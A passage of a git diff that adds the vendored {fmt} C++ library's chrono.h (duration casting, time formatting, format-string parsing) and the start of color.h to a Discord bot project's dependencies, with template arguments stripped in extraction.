this: + struct Factor + : std::ratio_divide {}; + + static_assert(Factor::num > 0, "num must be positive"); + static_assert(Factor::den > 0, "den must be positive"); + + // the conversion is like this: multiply from.count() with Factor::num + // /Factor::den and convert it to To::rep, all this without + // overflow/underflow. let's start by finding a suitable type that can hold + // both To, From and Factor::num + using IntermediateRep = + typename std::common_type::type; + + // safe conversion to IntermediateRep + IntermediateRep count = + lossless_integral_conversion(from.count(), ec); + if (ec) return {}; + // multiply with Factor::num without overflow or underflow + if (detail::const_check(Factor::num != 1)) { + const auto max1 = detail::max_value() / Factor::num; + if (count > max1) { + ec = 1; + return {}; + } + const auto min1 = + (std::numeric_limits::min)() / Factor::num; + if (count < min1) { + ec = 1; + return {}; + } + count *= Factor::num; + } + + if (detail::const_check(Factor::den != 1)) count /= Factor::den; + auto tocount = lossless_integral_conversion(count, ec); + return ec ? To() : To(tocount); +} + +/** + * safe duration_cast between floating point durations + */ +template ::value), + FMT_ENABLE_IF(std::is_floating_point::value)> +To safe_duration_cast(std::chrono::duration from, + int& ec) { + using From = std::chrono::duration; + ec = 0; + if (std::isnan(from.count())) { + // nan in, gives nan out. easy. + return To{std::numeric_limits::quiet_NaN()}; + } + // maybe we should also check if from is denormal, and decide what to do about + // it. + + // +-inf should be preserved. + if (std::isinf(from.count())) { + return To{from.count()}; + } + + // the basic idea is that we need to convert from count() in the from type + // to count() in the To type, by multiplying it with this: + struct Factor + : std::ratio_divide {}; + + static_assert(Factor::num > 0, "num must be positive"); + static_assert(Factor::den > 0, "den must be positive"); + + // the conversion is like this: multiply from.count() with Factor::num + // /Factor::den and convert it to To::rep, all this without + // overflow/underflow. let's start by finding a suitable type that can hold + // both To, From and Factor::num + using IntermediateRep = + typename std::common_type::type; + + // force conversion of From::rep -> IntermediateRep to be safe, + // even if it will never happen be narrowing in this context. + IntermediateRep count = + safe_float_conversion(from.count(), ec); + if (ec) { + return {}; + } + + // multiply with Factor::num without overflow or underflow + if (Factor::num != 1) { + constexpr auto max1 = detail::max_value() / + static_cast(Factor::num); + if (count > max1) { + ec = 1; + return {}; + } + constexpr auto min1 = std::numeric_limits::lowest() / + static_cast(Factor::num); + if (count < min1) { + ec = 1; + return {}; + } + count *= static_cast(Factor::num); + } + + // this can't go wrong, right? den>0 is checked earlier. + if (Factor::den != 1) { + using common_t = typename std::common_type::type; + count /= static_cast(Factor::den); + } + + // convert to the to type, safely + using ToRep = typename To::rep; + + const ToRep tocount = safe_float_conversion(count, ec); + if (ec) { + return {}; + } + return To{tocount}; +} +} // namespace safe_duration_cast +#endif + +// Prevents expansion of a preceding token as a function-style macro. +// Usage: f FMT_NOMACRO() +#define FMT_NOMACRO + +namespace detail { +inline null<> localtime_r FMT_NOMACRO(...) { return null<>(); } +inline null<> localtime_s(...) { return null<>(); } +inline null<> gmtime_r(...) { return null<>(); } +inline null<> gmtime_s(...) { return null<>(); } +} // namespace detail + +/** + Converts given time since epoch as ``std::time_t`` value into calendar time, + expressed in local time. Unlike ``std::localtime``, this function is + thread-safe on most platforms. + */ +inline std::tm localtime(std::time_t time) { + struct dispatcher { + std::time_t time_; + std::tm tm_; + + dispatcher(std::time_t t) : time_(t) {} + + bool run() { + using namespace fmt::detail; + return handle(localtime_r(&time_, &tm_)); + } + + bool handle(std::tm* tm) { return tm != nullptr; } + + bool handle(detail::null<>) { + using namespace fmt::detail; + return fallback(localtime_s(&tm_, &time_)); + } + + bool fallback(int res) { return res == 0; } + +#if !FMT_MSC_VER + bool fallback(detail::null<>) { + using namespace fmt::detail; + std::tm* tm = std::localtime(&time_); + if (tm) tm_ = *tm; + return tm != nullptr; + } +#endif + }; + dispatcher lt(time); + // Too big time values may be unsupported. + if (!lt.run()) FMT_THROW(format_error("time_t value out of range")); + return lt.tm_; +} + +inline std::tm localtime( + std::chrono::time_point time_point) { + return localtime(std::chrono::system_clock::to_time_t(time_point)); +} + +/** + Converts given time since epoch as ``std::time_t`` value into calendar time, + expressed in Coordinated Universal Time (UTC). Unlike ``std::gmtime``, this + function is thread-safe on most platforms. + */ +inline std::tm gmtime(std::time_t time) { + struct dispatcher { + std::time_t time_; + std::tm tm_; + + dispatcher(std::time_t t) : time_(t) {} + + bool run() { + using namespace fmt::detail; + return handle(gmtime_r(&time_, &tm_)); + } + + bool handle(std::tm* tm) { return tm != nullptr; } + + bool handle(detail::null<>) { + using namespace fmt::detail; + return fallback(gmtime_s(&tm_, &time_)); + } + + bool fallback(int res) { return res == 0; } + +#if !FMT_MSC_VER + bool fallback(detail::null<>) { + std::tm* tm = std::gmtime(&time_); + if (tm) tm_ = *tm; + return tm != nullptr; + } +#endif + }; + dispatcher gt(time); + // Too big time values may be unsupported. + if (!gt.run()) FMT_THROW(format_error("time_t value out of range")); + return gt.tm_; +} + +inline std::tm gmtime( + std::chrono::time_point time_point) { + return gmtime(std::chrono::system_clock::to_time_t(time_point)); +} + +namespace detail { +inline size_t strftime(char* str, size_t count, const char* format, + const std::tm* time) { + // Assign to a pointer to suppress GCCs -Wformat-nonliteral + // First assign the nullptr to suppress -Wsuggest-attribute=format + std::size_t (*strftime)(char*, std::size_t, const char*, const std::tm*) = + nullptr; + strftime = std::strftime; + return strftime(str, count, format, time); +} + +inline size_t strftime(wchar_t* str, size_t count, const wchar_t* format, + const std::tm* time) { + // See above + std::size_t (*wcsftime)(wchar_t*, std::size_t, const wchar_t*, + const std::tm*) = nullptr; + wcsftime = std::wcsftime; + return wcsftime(str, count, format, time); +} +} // namespace detail + +template +struct formatter, + Char> : formatter { + template + auto format(std::chrono::time_point val, + FormatContext& ctx) -> decltype(ctx.out()) { + std::tm time = localtime(val); + return formatter::format(time, ctx); + } +}; + +template struct formatter { + template + FMT_CONSTEXPR auto parse(ParseContext& ctx) -> decltype(ctx.begin()) { + auto it = ctx.begin(); + if (it != ctx.end() && *it == ':') ++it; + auto end = it; + while (end != ctx.end() && *end != '}') ++end; + specs = {it, detail::to_unsigned(end - it)}; + return end; + } + + template + auto format(const std::tm& tm, FormatContext& ctx) const + -> decltype(ctx.out()) { + basic_memory_buffer tm_format; + tm_format.append(specs.begin(), specs.end()); + tm_format.push_back('\0'); + basic_memory_buffer buf; + size_t start = buf.size(); + for (;;) { + size_t size = buf.capacity() - start; + size_t count = detail::strftime(&buf[start], size, &tm_format[0], &tm); + if (count != 0) { + buf.resize(start + count); + break; + } + if (size >= tm_format.size() * 256) { + // If the buffer is 256 times larger than the format string, assume + // that `strftime` gives an empty result. There doesn't seem to be a + // better way to distinguish the two cases: + // https://github.com/fmtlib/fmt/issues/367 + break; + } + const size_t MIN_GROWTH = 10; + buf.reserve(buf.capacity() + (size > MIN_GROWTH ? size : MIN_GROWTH)); + } + return std::copy(buf.begin(), buf.end(), ctx.out()); + } + + basic_string_view specs; +}; + +namespace detail { +template FMT_CONSTEXPR const char* get_units() { + return nullptr; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "as"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "fs"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "ps"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "ns"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "µs"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "ms"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "cs"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "ds"; +} +template <> FMT_CONSTEXPR inline const char* get_units>() { + return "s"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "das"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "hs"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "ks"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "Ms"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "Gs"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "Ts"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "Ps"; +} +template <> FMT_CONSTEXPR inline const char* get_units() { + return "Es"; +} +template <> FMT_CONSTEXPR inline const char* get_units>() { + return "m"; +} +template <> FMT_CONSTEXPR inline const char* get_units>() { + return "h"; +} + +enum class numeric_system { + standard, + // Alternative numeric system, e.g. 十二 instead of 12 in ja_JP locale. + alternative +}; + +// Parses a put_time-like format string and invokes handler actions. +template +FMT_CONSTEXPR const Char* parse_chrono_format(const Char* begin, + const Char* end, + Handler&& handler) { + auto ptr = begin; + while (ptr != end) { + auto c = *ptr; + if (c == '}') break; + if (c != '%') { + ++ptr; + continue; + } + if (begin != ptr) handler.on_text(begin, ptr); + ++ptr; // consume '%' + if (ptr == end) FMT_THROW(format_error("invalid format")); + c = *ptr++; + switch (c) { + case '%': + handler.on_text(ptr - 1, ptr); + break; + case 'n': { + const Char newline[] = {'\n'}; + handler.on_text(newline, newline + 1); + break; + } + case 't': { + const Char tab[] = {'\t'}; + handler.on_text(tab, tab + 1); + break; + } + // Day of the week: + case 'a': + handler.on_abbr_weekday(); + break; + case 'A': + handler.on_full_weekday(); + break; + case 'w': + handler.on_dec0_weekday(numeric_system::standard); + break; + case 'u': + handler.on_dec1_weekday(numeric_system::standard); + break; + // Month: + case 'b': + handler.on_abbr_month(); + break; + case 'B': + handler.on_full_month(); + break; + // Hour, minute, second: + case 'H': + handler.on_24_hour(numeric_system::standard); + break; + case 'I': + handler.on_12_hour(numeric_system::standard); + break; + case 'M': + handler.on_minute(numeric_system::standard); + break; + case 'S': + handler.on_second(numeric_system::standard); + break; + // Other: + case 'c': + handler.on_datetime(numeric_system::standard); + break; + case 'x': + handler.on_loc_date(numeric_system::standard); + break; + case 'X': + handler.on_loc_time(numeric_system::standard); + break; + case 'D': + handler.on_us_date(); + break; + case 'F': + handler.on_iso_date(); + break; + case 'r': + handler.on_12_hour_time(); + break; + case 'R': + handler.on_24_hour_time(); + break; + case 'T': + handler.on_iso_time(); + break; + case 'p': + handler.on_am_pm(); + break; + case 'Q': + handler.on_duration_value(); + break; + case 'q': + handler.on_duration_unit(); + break; + case 'z': + handler.on_utc_offset(); + break; + case 'Z': + handler.on_tz_name(); + break; + // Alternative representation: + case 'E': { + if (ptr == end) FMT_THROW(format_error("invalid format")); + c = *ptr++; + switch (c) { + case 'c': + handler.on_datetime(numeric_system::alternative); + break; + case 'x': + handler.on_loc_date(numeric_system::alternative); + break; + case 'X': + handler.on_loc_time(numeric_system::alternative); + break; + default: + FMT_THROW(format_error("invalid format")); + } + break; + } + case 'O': + if (ptr == end) FMT_THROW(format_error("invalid format")); + c = *ptr++; + switch (c) { + case 'w': + handler.on_dec0_weekday(numeric_system::alternative); + break; + case 'u': + handler.on_dec1_weekday(numeric_system::alternative); + break; + case 'H': + handler.on_24_hour(numeric_system::alternative); + break; + case 'I': + handler.on_12_hour(numeric_system::alternative); + break; + case 'M': + handler.on_minute(numeric_system::alternative); + break; + case 'S': + handler.on_second(numeric_system::alternative); + break; + default: + FMT_THROW(format_error("invalid format")); + } + break; + default: + FMT_THROW(format_error("invalid format")); + } + begin = ptr; + } + if (begin != ptr) handler.on_text(begin, ptr); + return ptr; +} + +struct chrono_format_checker { + FMT_NORETURN void report_no_date() { FMT_THROW(format_error("no date")); } + + template + FMT_CONSTEXPR void on_text(const Char*, const Char*) {} + FMT_NORETURN void on_abbr_weekday() { report_no_date(); } + FMT_NORETURN void on_full_weekday() { report_no_date(); } + FMT_NORETURN void on_dec0_weekday(numeric_system) { report_no_date(); } + FMT_NORETURN void on_dec1_weekday(numeric_system) { report_no_date(); } + FMT_NORETURN void on_abbr_month() { report_no_date(); } + FMT_NORETURN void on_full_month() { report_no_date(); } + FMT_CONSTEXPR void on_24_hour(numeric_system) {} + FMT_CONSTEXPR void on_12_hour(numeric_system) {} + FMT_CONSTEXPR void on_minute(numeric_system) {} + FMT_CONSTEXPR void on_second(numeric_system) {} + FMT_NORETURN void on_datetime(numeric_system) { report_no_date(); } + FMT_NORETURN void on_loc_date(numeric_system) { report_no_date(); } + FMT_NORETURN void on_loc_time(numeric_system) { report_no_date(); } + FMT_NORETURN void on_us_date() { report_no_date(); } + FMT_NORETURN void on_iso_date() { report_no_date(); } + FMT_CONSTEXPR void on_12_hour_time() {} + FMT_CONSTEXPR void on_24_hour_time() {} + FMT_CONSTEXPR void on_iso_time() {} + FMT_CONSTEXPR void on_am_pm() {} + FMT_CONSTEXPR void on_duration_value() {} + FMT_CONSTEXPR void on_duration_unit() {} + FMT_NORETURN void on_utc_offset() { report_no_date(); } + FMT_NORETURN void on_tz_name() { report_no_date(); } +}; + +template ::value)> +inline bool isnan(T) { + return false; +} +template ::value)> +inline bool isnan(T value) { + return std::isnan(value); +} + +template ::value)> +inline bool isfinite(T) { + return true; +} +template ::value)> +inline bool isfinite(T value) { + return std::isfinite(value); +} + +// Converts value to int and checks that it's in the range [0, upper). +template ::value)> +inline int to_nonnegative_int(T value, int upper) { + FMT_ASSERT(value >= 0 && to_unsigned(value) <= to_unsigned(upper), + "invalid value"); + (void)upper; + return static_cast(value); +} +template ::value)> +inline int to_nonnegative_int(T value, int upper) { + FMT_ASSERT( + std::isnan(value) || (value >= 0 && value <= static_cast(upper)), + "invalid value"); + (void)upper; + return static_cast(value); +} + +template ::value)> +inline T mod(T x, int y) { + return x % static_cast(y); +} +template ::value)> +inline T mod(T x, int y) { + return std::fmod(x, static_cast(y)); +} + +// If T is an integral type, maps T to its unsigned counterpart, otherwise +// leaves it unchanged (unlike std::make_unsigned). +template ::value> +struct make_unsigned_or_unchanged { + using type = T; +}; + +template struct make_unsigned_or_unchanged { + using type = typename std::make_unsigned::type; +}; + +#if FMT_SAFE_DURATION_CAST +// throwing version of safe_duration_cast +template +To fmt_safe_duration_cast(std::chrono::duration from) { + int ec; + To to = safe_duration_cast::safe_duration_cast(from, ec); + if (ec) FMT_THROW(format_error("cannot format duration")); + return to; +} +#endif + +template ::value)> +inline std::chrono::duration get_milliseconds( + std::chrono::duration d) { + // this may overflow and/or the result may not fit in the + // target type. +#if FMT_SAFE_DURATION_CAST + using CommonSecondsType = + typename std::common_type::type; + const auto d_as_common = fmt_safe_duration_cast(d); + const auto d_as_whole_seconds = + fmt_safe_duration_cast(d_as_common); + // this conversion should be nonproblematic + const auto diff = d_as_common - d_as_whole_seconds; + const auto ms = + fmt_safe_duration_cast>(diff); + return ms; +#else + auto s = std::chrono::duration_cast(d); + return std::chrono::duration_cast(d - s); +#endif +} + +template ::value)> +inline std::chrono::duration get_milliseconds( + std::chrono::duration d) { + using common_type = typename std::common_type::type; + auto ms = mod(d.count() * static_cast(Period::num) / + static_cast(Period::den) * 1000, + 1000); + return std::chrono::duration(static_cast(ms)); +} + +template ::value)> +OutputIt format_duration_value(OutputIt out, Rep val, int) { + return write(out, val); +} + +template ::value)> +OutputIt format_duration_value(OutputIt out, Rep val, int precision) { + auto specs = basic_format_specs(); + specs.precision = precision; + specs.type = precision > 0 ? 'f' : 'g'; + return write(out, val, specs); +} + +template +OutputIt copy_unit(string_view unit, OutputIt out, Char) { + return std::copy(unit.begin(), unit.end(), out); +} + +template +OutputIt copy_unit(string_view unit, OutputIt out, wchar_t) { + // This works when wchar_t is UTF-32 because units only contain characters + // that have the same representation in UTF-16 and UTF-32. + utf8_to_utf16 u(unit); + return std::copy(u.c_str(), u.c_str() + u.size(), out); +} + +template +OutputIt format_duration_unit(OutputIt out) { + if (const char* unit = get_units()) + return copy_unit(string_view(unit), out, Char()); + *out++ = '['; + out = write(out, Period::num); + if (const_check(Period::den != 1)) { + *out++ = '/'; + out = write(out, Period::den); + } + *out++ = ']'; + *out++ = 's'; + return out; +} + +template +struct chrono_formatter { + FormatContext& context; + OutputIt out; + int precision; + // rep is unsigned to avoid overflow. + using rep = + conditional_t::value && sizeof(Rep) < sizeof(int), + unsigned, typename make_unsigned_or_unchanged::type>; + rep val; + using seconds = std::chrono::duration; + seconds s; + using milliseconds = std::chrono::duration; + bool negative; + + using char_type = typename FormatContext::char_type; + + explicit chrono_formatter(FormatContext& ctx, OutputIt o, + std::chrono::duration d) + : context(ctx), + out(o), + val(static_cast(d.count())), + negative(false) { + if (d.count() < 0) { + val = 0 - val; + negative = true; + } + + // this may overflow and/or the result may not fit in the + // target type. +#if FMT_SAFE_DURATION_CAST + // might need checked conversion (rep!=Rep) + auto tmpval = std::chrono::duration(val); + s = fmt_safe_duration_cast(tmpval); +#else + s = std::chrono::duration_cast( + std::chrono::duration(val)); +#endif + } + + // returns true if nan or inf, writes to out. + bool handle_nan_inf() { + if (isfinite(val)) { + return false; + } + if (isnan(val)) { + write_nan(); + return true; + } + // must be +-inf + if (val > 0) { + write_pinf(); + } else { + write_ninf(); + } + return true; + } + + Rep hour() const { return static_cast(mod((s.count() / 3600), 24)); } + + Rep hour12() const { + Rep hour = static_cast(mod((s.count() / 3600), 12)); + return hour <= 0 ? 12 : hour; + } + + Rep minute() const { return static_cast(mod((s.count() / 60), 60)); } + Rep second() const { return static_cast(mod(s.count(), 60)); } + + std::tm time() const { + auto time = std::tm(); + time.tm_hour = to_nonnegative_int(hour(), 24); + time.tm_min = to_nonnegative_int(minute(), 60); + time.tm_sec = to_nonnegative_int(second(), 60); + return time; + } + + void write_sign() { + if (negative) { + *out++ = '-'; + negative = false; + } + } + + void write(Rep value, int width) { + write_sign(); + if (isnan(value)) return write_nan(); + uint32_or_64_or_128_t n = + to_unsigned(to_nonnegative_int(value, max_value())); + int num_digits = detail::count_digits(n); + if (width > num_digits) out = std::fill_n(out, width - num_digits, '0'); + out = format_decimal(out, n, num_digits).end; + } + + void write_nan() { std::copy_n("nan", 3, out); } + void write_pinf() { std::copy_n("inf", 3, out); } + void write_ninf() { std::copy_n("-inf", 4, out); } + + void format_localized(const tm& time, char format, char modifier = 0) { + if (isnan(val)) return write_nan(); + auto locale = context.locale().template get(); + auto& facet = std::use_facet>(locale); + std::basic_ostringstream os; + os.imbue(locale); + facet.put(os, os, ' ', &time, format, modifier); + auto str = os.str(); + std::copy(str.begin(), str.end(), out); + } + + void on_text(const char_type* begin, const char_type* end) { + std::copy(begin, end, out); + } + + // These are not implemented because durations don't have date information. + void on_abbr_weekday() {} + void on_full_weekday() {} + void on_dec0_weekday(numeric_system) {} + void on_dec1_weekday(numeric_system) {} + void on_abbr_month() {} + void on_full_month() {} + void on_datetime(numeric_system) {} + void on_loc_date(numeric_system) {} + void on_loc_time(numeric_system) {} + void on_us_date() {} + void on_iso_date() {} + void on_utc_offset() {} + void on_tz_name() {} + + void on_24_hour(numeric_system ns) { + if (handle_nan_inf()) return; + + if (ns == numeric_system::standard) return write(hour(), 2); + auto time = tm(); + time.tm_hour = to_nonnegative_int(hour(), 24); + format_localized(time, 'H', 'O'); + } + + void on_12_hour(numeric_system ns) { + if (handle_nan_inf()) return; + + if (ns == numeric_system::standard) return write(hour12(), 2); + auto time = tm(); + time.tm_hour = to_nonnegative_int(hour12(), 12); + format_localized(time, 'I', 'O'); + } + + void on_minute(numeric_system ns) { + if (handle_nan_inf()) return; + + if (ns == numeric_system::standard) return write(minute(), 2); + auto time = tm(); + time.tm_min = to_nonnegative_int(minute(), 60); + format_localized(time, 'M', 'O'); + } + + void on_second(numeric_system ns) { + if (handle_nan_inf()) return; + + if (ns == numeric_system::standard) { + write(second(), 2); +#if FMT_SAFE_DURATION_CAST + // convert rep->Rep + using duration_rep = std::chrono::duration; + using duration_Rep = std::chrono::duration; + auto tmpval = fmt_safe_duration_cast(duration_rep{val}); +#else + auto tmpval = std::chrono::duration(val); +#endif + auto ms = get_milliseconds(tmpval); + if (ms != std::chrono::milliseconds(0)) { + *out++ = '.'; + write(ms.count(), 3); + } + return; + } + auto time = tm(); + time.tm_sec = to_nonnegative_int(second(), 60); + format_localized(time, 'S', 'O'); + } + + void on_12_hour_time() { + if (handle_nan_inf()) return; + format_localized(time(), 'r'); + } + + void on_24_hour_time() { + if (handle_nan_inf()) { + *out++ = ':'; + handle_nan_inf(); + return; + } + + write(hour(), 2); + *out++ = ':'; + write(minute(), 2); + } + + void on_iso_time() { + on_24_hour_time(); + *out++ = ':'; + if (handle_nan_inf()) return; + write(second(), 2); + } + + void on_am_pm() { + if (handle_nan_inf()) return; + format_localized(time(), 'p'); + } + + void on_duration_value() { + if (handle_nan_inf()) return; + write_sign(); + out = format_duration_value(out, val, precision); + } + + void on_duration_unit() { + out = format_duration_unit(out); + } +}; +} // namespace detail + +template +struct formatter, Char> { + private: + basic_format_specs specs; + int precision = -1; + using arg_ref_type = detail::arg_ref; + arg_ref_type width_ref; + arg_ref_type precision_ref; + basic_string_view format_str; + using duration = std::chrono::duration; + + struct spec_handler { + formatter& f; + basic_format_parse_context& context; + basic_string_view format_str; + + template FMT_CONSTEXPR arg_ref_type make_arg_ref(Id arg_id) { + context.check_arg_id(arg_id); + return arg_ref_type(arg_id); + } + + FMT_CONSTEXPR arg_ref_type make_arg_ref(basic_string_view arg_id) { + context.check_arg_id(arg_id); + return arg_ref_type(arg_id); + } + + FMT_CONSTEXPR arg_ref_type make_arg_ref(detail::auto_id) { + return arg_ref_type(context.next_arg_id()); + } + + void on_error(const char* msg) { FMT_THROW(format_error(msg)); } + FMT_CONSTEXPR void on_fill(basic_string_view fill) { + f.specs.fill = fill; + } + FMT_CONSTEXPR void on_align(align_t align) { f.specs.align = align; } + FMT_CONSTEXPR void on_width(int width) { f.specs.width = width; } + FMT_CONSTEXPR void on_precision(int _precision) { + f.precision = _precision; + } + FMT_CONSTEXPR void end_precision() {} + + template FMT_CONSTEXPR void on_dynamic_width(Id arg_id) { + f.width_ref = make_arg_ref(arg_id); + } + + template FMT_CONSTEXPR void on_dynamic_precision(Id arg_id) { + f.precision_ref = make_arg_ref(arg_id); + } + }; + + using iterator = typename basic_format_parse_context::iterator; + struct parse_range { + iterator begin; + iterator end; + }; + + FMT_CONSTEXPR parse_range do_parse(basic_format_parse_context& ctx) { + auto begin = ctx.begin(), end = ctx.end(); + if (begin == end || *begin == '}') return {begin, begin}; + spec_handler handler{*this, ctx, format_str}; + begin = detail::parse_align(begin, end, handler); + if (begin == end) return {begin, begin}; + begin = detail::parse_width(begin, end, handler); + if (begin == end) return {begin, begin}; + if (*begin == '.') { + if (std::is_floating_point::value) + begin = detail::parse_precision(begin, end, handler); + else + handler.on_error("precision not allowed for this argument type"); + } + end = parse_chrono_format(begin, end, detail::chrono_format_checker()); + return {begin, end}; + } + + public: + FMT_CONSTEXPR auto parse(basic_format_parse_context& ctx) + -> decltype(ctx.begin()) { + auto range = do_parse(ctx); + format_str = basic_string_view( + &*range.begin, detail::to_unsigned(range.end - range.begin)); + return range.end; + } + + template + auto format(const duration& d, FormatContext& ctx) const + -> decltype(ctx.out()) { + auto specs_copy = specs; + auto precision_copy = precision; + auto begin = format_str.begin(), end = format_str.end(); + // As a possible future optimization, we could avoid extra copying if width + // is not specified. + basic_memory_buffer buf; + auto out = std::back_inserter(buf); + detail::handle_dynamic_spec(specs_copy.width, + width_ref, ctx); + detail::handle_dynamic_spec(precision_copy, + precision_ref, ctx); + if (begin == end || *begin == '}') { + out = detail::format_duration_value(out, d.count(), precision_copy); + detail::format_duration_unit(out); + } else { + detail::chrono_formatter f( + ctx, out, d); + f.precision = precision_copy; + parse_chrono_format(begin, end, f); + } + return detail::write( + ctx.out(), basic_string_view(buf.data(), buf.size()), specs_copy); + } +}; + +FMT_END_NAMESPACE + +#endif // FMT_CHRONO_H_ diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/color.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/color.h new file mode 100644 index 0000000..24cceda --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/color.h @@ -0,0 +1,624 @@ +// Formatting library for C++ - color support +// +// Copyright (c) 2018 - present, Victor Zverovich and fmt contributors +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_COLOR_H_ +#define FMT_COLOR_H_ + +#include "format.h" + +// __declspec(deprecated) is broken in some MSVC versions. +#if FMT_MSC_VER +# define FMT_DEPRECATED_NONMSVC +#else +# define FMT_DEPRECATED_NONMSVC FMT_DEPRECATED +#endif + +FMT_BEGIN_NAMESPACE + +enum class color : uint32_t { + alice_blue = 0xF0F8FF, // rgb(240,248,255) + antique_white = 0xFAEBD7, // rgb(250,235,215) + aqua = 0x00FFFF, // rgb(0,255,255) + aquamarine = 0x7FFFD4, // rgb(127,255,212) + azure = 0xF0FFFF, // rgb(240,255,255) + beige = 0xF5F5DC, // rgb(245,245,220) + bisque = 0xFFE4C4, // rgb(255,228,196) + black = 0x000000, // rgb(0,0,0) + blanched_almond = 0xFFEBCD, // rgb(255,235,205) + blue = 0x0000FF, // rgb(0,0,255) + blue_violet = 0x8A2BE2, // rgb(138,43,226) + brown = 0xA52A2A, // rgb(165,42,42) + burly_wood = 0xDEB887, // rgb(222,184,135) + cadet_blue = 0x5F9EA0, // rgb(95,158,160) + chartreuse = 0x7FFF00, // rgb(127,255,0) + chocolate = 0xD2691E, // rgb(210,105,30) + coral = 0xFF7F50, // rgb(255,127,80) + cornflower_blue = 0x6495ED, // rgb(100,149,237) + cornsilk = 0xFFF8DC, // rgb(255,248,220) + crimson = 0xDC143C, // rgb(220,20,60) + cyan = 0x00FFFF, // rgb(0,255,255) + dark_blue = 0x00008B, // rgb(0,0,139) + dark_cyan = 0x008B8B, // rgb(0,139,139) + dark_golden_rod = 0xB8860B, // rgb(184,134,11) + dark_gray = 0xA9A9A9, // rgb(169,169,169) + dark_green = 0x006400, // rgb(0,100,0) + dark_khaki = 0xBDB76B, // rgb(189,183,107) + dark_magenta = 0x8B008B, // rgb(139,0,139) + dark_olive_green = 0x556B2F, // rgb(85,107,47) + dark_orange = 0xFF8C00, // rgb(255,140,0) + dark_orchid = 0x9932CC, // rgb(153,50,204) + dark_red = 0x8B0000, // rgb(139,0,0) + dark_salmon = 0xE9967A, // rgb(233,150,122) + dark_sea_green = 0x8FBC8F, // rgb(143,188,143) + dark_slate_blue = 0x483D8B, // rgb(72,61,139) + dark_slate_gray = 0x2F4F4F, // rgb(47,79,79) + dark_turquoise = 0x00CED1, // rgb(0,206,209) + dark_violet = 0x9400D3, // rgb(148,0,211) + deep_pink = 0xFF1493, // rgb(255,20,147) + deep_sky_blue = 0x00BFFF, // rgb(0,191,255) + dim_gray = 0x696969, // rgb(105,105,105) + dodger_blue = 0x1E90FF, // rgb(30,144,255) + fire_brick = 0xB22222, // rgb(178,34,34) + floral_white = 0xFFFAF0, // rgb(255,250,240) + forest_green = 0x228B22, // rgb(34,139,34) + fuchsia = 0xFF00FF, // rgb(255,0,255) + gainsboro = 0xDCDCDC, // rgb(220,220,220) + ghost_white = 0xF8F8FF, // rgb(248,248,255) + gold = 0xFFD700, // rgb(255,215,0) + golden_rod = 0xDAA520, // rgb(218,165,32) + gray = 0x808080, // rgb(128,128,128) + green = 0x008000, // rgb(0,128,0) + green_yellow = 0xADFF2F, // rgb(173,255,47) + honey_dew = 0xF0FFF0, // rgb(240,255,240) + hot_pink = 0xFF69B4, // rgb(255,105,180) + indian_red = 0xCD5C5C, // rgb(205,92,92) + indigo = 0x4B0082, // rgb(75,0,130) + ivory = 0xFFFFF0, // rgb(255,255,240) + khaki = 0xF0E68C, // rgb(240,230,140) + lavender = 0xE6E6FA, // rgb(230,230,250) + lavender_blush = 0xFFF0F5, // rgb(255,240,245) + lawn_green = 0x7CFC00, // rgb(124,252,0) + lemon_chiffon = 0xFFFACD, // rgb(255,250,205) + light_blue = 0xADD8E6, // rgb(173,216,230) + light_coral = 0xF08080, // rgb(240,128,128) + light_cyan = 0xE0FFFF, // rgb(224,255,255) + light_golden_rod_yellow = 0xFAFAD2, // rgb(250,250,210) + light_gray = 0xD3D3D3, // rgb(211,211,211) + light_green = 0x90EE90, // rgb(144,238,144) + light_pink = 0xFFB6C1, // rgb(255,182,193) + light_salmon = 0xFFA07A, // rgb(255,160,122) + light_sea_green = 0x20B2AA, // rgb(32,178,170) + light_sky_blue = 0x87CEFA, // rgb(135,206,250) + light_slate_gray = 0x778899, // rgb(119,136,153) + light_steel_blue = 0xB0C4DE, // rgb(176,196,222) + light_yellow = 0xFFFFE0, // rgb(255,255,224) + lime = 0x00FF00, // rgb(0,255,0) + lime_green = 0x32CD32, // rgb(50,205,50) + linen = 0xFAF0E6, // rgb(250,240,230) + magenta = 0xFF00FF, // rgb(255,0,255) + maroon = 0x800000, // rgb(128,0,0) + medium_aquamarine = 0x66CDAA, // rgb(102,205,170) + medium_blue = 0x0000CD, // rgb(0,0,205) + medium_orchid = 0xBA55D3, // rgb(186,85,211) + medium_purple = 0x9370DB, // rgb(147,112,219) + medium_sea_green = 0x3CB371, // rgb(60,179,113) + medium_slate_blue = 0x7B68EE, // rgb(123,104,238) + medium_spring_green = 0x00FA9A, // rgb(0,250,154) + medium_turquoise = 0x48D1CC, // rgb(72,209,204) + medium_violet_red = 0xC71585, // rgb(199,21,133) + midnight_blue = 0x191970, // rgb(25,25,112) + mint_cream = 0xF5FFFA, // rgb(245,255,250) + misty_rose = 0xFFE4E1, // rgb(255,228,225) + moccasin = 0xFFE4B5, // rgb(255,228,181) + navajo_white = 0xFFDEAD, // rgb(255,222,173) + navy = 0x000080, // rgb(0,0,128) + old_lace = 0xFDF5E6, // rgb(253,245,230) + olive = 0x808000, // rgb(128,128,0) + olive_drab = 0x6B8E23, // rgb(107,142,35) + orange = 0xFFA500, // rgb(255,165,0) + orange_red = 0xFF4500, // rgb(255,69,0) + orchid = 0xDA70D6, // rgb(218,112,214) + pale_golden_rod = 0xEEE8AA, // rgb(238,232,170) + pale_green = 0x98FB98, // rgb(152,251,152) + pale_turquoise = 0xAFEEEE, // rgb(175,238,238) + pale_violet_red = 0xDB7093, // 